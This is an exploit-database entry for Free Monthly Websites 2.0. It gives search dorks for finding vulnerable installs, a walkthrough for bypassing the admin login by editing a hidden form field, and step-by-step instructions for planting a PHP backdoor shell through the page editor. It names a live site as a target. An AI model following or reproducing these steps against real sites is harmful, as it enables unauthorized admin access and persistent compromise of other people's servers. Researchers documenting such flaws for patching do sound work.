Free Monthly Websites 2.0 Multiple Vulnerabilities

2013-02-04T00:00:00
ID 1337DAY-ID-20288
Type zdt
Reporter X-Cisadane
Modified 2013-02-04T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ========================================================================================== 
Free Monthly Websites 2.0 Multiple Vulnerabilities
==========================================================================================
 
:----------------------------------------------------------------------------------------------------------------------------------: 
: # Exploit Title : Free Monthly Websites 2.0 Multiple Vulnerabilities
: # Date : 04 February 2013 
: # Author : X-Cisadane 
: # Vendor : http://www.freemonthlywebsites2.com/
: # Download : http://www.freemonthlywebsites2.com/downloads/fmw_oto/websites/Free_Monthly_Websites_50_Custom_Websites_MPW7199.zip
: # Version : 2.0
: # Category : Web Applications 
: # Vulnerability : Admin Login Bypass and Shell Upload Vulnerability 
: # Tested On : Google Chrome 24.0.1312.52 m (Windows XP SP 3 32-Bit English) 
: # Greetz to : X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta Anonymous Club and Ngobas
:----------------------------------------------------------------------------------------------------------------------------------: 
DORKS 
===== 
inurl:/index_ebay.php
"Powered by: Resell Rights Fortune"
"Generating Traffic to Your Site with Keyword Based Articles"
Powered By: Free Monthly Websites 2.0
 
Proof of Concept 
================ 
[ 1 ] Admin Login Bypass

Vulnerable page http://target.com/[path]/admin/index.php
Line 
40 <form name="frm" action="file_io.php" method="post" onSubmit="return chk()">
41 <input type="hidden" name="do_type" value="admin_settings_read">

Vulnerable page http://target.com/[path]/admin/login.php
Line
40 <form name="frm" action="file_io.php" method="post" onSubmit="return chk()">
41 <input type="hidden" name="do_type" value="admin_settings_read">

Vulnerable page http://target.com/[path]/admin/file_io.php
Line
14 if($_REQUEST[do_type]=="admin_settings_read")
15 {
16	$filename="settings/admin_settings.txt";
17
18	if(!$handle = fopen($filename, 'r'))
19	{
20		echo "Cannot open file ($filename)";
21		exit;
22	}
23	$contents = fread($handle, filesize($filename));
24	fclose($handle);
25	$argument_arr=explode("#_1_#",$contents);
26
27	if($argument_arr[0]==$_REQUEST[username] && $argument_arr[1]==$_REQUEST[pass])
28	{
29		$_SESSION[logged_in]=true;
30		header("location:welcome.php");

Based at line 16 we know that Admin Username and Password store in admin_settings.txt NOT on Database! 
So When we login into Admin Panel, file_io.php will Read Valid Username and Password from admin_settings.txt
If you do a direct access to the file admin_settings.txt, The results is 

403 Permission Denied
You do not have permission for this request /admin/settings/admin_settings.txt
Pic : http://i48.tinypic.com/2gvlwt4.png


So... How to Bypass Admin Login Page? 
1st. Open the Admin Login Page : http://target.com/[path]/admin/index.php 
Live Target : http://www.massmoneywebsites.com/admin/

2nd. Inspect Element on the login Form. 
Pic : http://i47.tinypic.com/2r5ddp1.png

3rd. Change from 
<form name="frm" action="file_io.php" method="post" onsubmit="return chk()"></form>
<input type="hidden" name="do_type" value="admin_settings_read">

CHANGE TO 
<form name="frm" action="file_io.php" method="post" onsubmit="return chk()"></form>
<input type="text" name="do_type" value="admin_settings_write">
Then press ENTER (please see pic).
Pic : http://i49.tinypic.com/351z3ib.png

4th. You will see A Login Failed Page : >> You need to login in to access that page <<
Pic : http://i50.tinypic.com/33ws8jb.png
Never Mind About that, just click 'Login Button' and VOILA you get and Admin Access!
pic : http://i45.tinypic.com/jzwpea.png
----------------------------------------
[ 2 ] Upload PHP Backdoor or PHP Shell 

This vulnerability works on PREMIUM VERSION of Free Monthly Websites 2.0

So... How to Upload Backdoor (PHP Shell)?

1st. Go to Add/Remove Navigation Page. 
http://target.com/[path]/admin/add_main_pages.php
Live Target : http://www.massmoneywebsites.com/admin/add_main_pages.php

2nd. Enter a Name For Your New Navigation Page That You Wish To Add: dwi.php 
And click Add New Navigation Page.
Pic : http://i45.tinypic.com/vigzsp.png

3rd. Still at the same page, scroll down the page until you see this section : Sort Your Page Buttons/Links.
Pic : http://i46.tinypic.com/1040oxg.png
Change FROM dwi.php.html TO /dwi.php then Click Sort Navigation Pages.
Pic : http://i49.tinypic.com/24ec1l0.jpg

4th. Go to Edit Navigation Page.
http://www.massmoneywebsites.com/admin/edit_main_pages.php
Please Select a Page To Edit: dwi.php.html <--- Select that page.

5th. Inspect element on dwi.php.html
Pic : http://i50.tinypic.com/29pq1ix.png
Change FROM <option value="dwi.php.html" selected="">dwi.php.html</option>
To <option value="dwi.php" selected="">dwi.php</option>
Pic : http://i47.tinypic.com/wtb0j6.png

6th. Enter A Page Title As You Would Like It To Be Seen. Fill with dwi.php
URL For This Page: main_pages/dwi.php 
Use the 'URL For This Page' field above: [Tick] 
Display This Page in Left Vertical Site Navigation: [Tick]
Display This Page in Top Horizontal Site Navigation Buttons: [Tick]
Pic : http://i46.tinypic.com/1zebnle.png

7th. Still at the same page, scroll down the page until you see this section : Enter Content For Your Page:
Click SOURCE button 
Press Enter Twice at the First Line then Paste your PHP Backdoor/PHP Shell below.
And Press Enter Twice at the Last Line.
*Please see 2 Pictures below If you dunno Understand :p
Pic 1 : http://i49.tinypic.com/1zlzxq0.png
Pic 2 : http://i48.tinypic.com/291kc9h.png

If you wanna do this, please Remove Your Backdoor Password.
Click Save Edited Navigation Page.

8th. After this message >> Data saved successfully << Appeared, Visit the Home Page and you will see the Backdoor Page
Pic : http://i49.tinypic.com/4rt1g4.png

//I'm sorry My English was poor

#  0day.today [2018-04-14]  #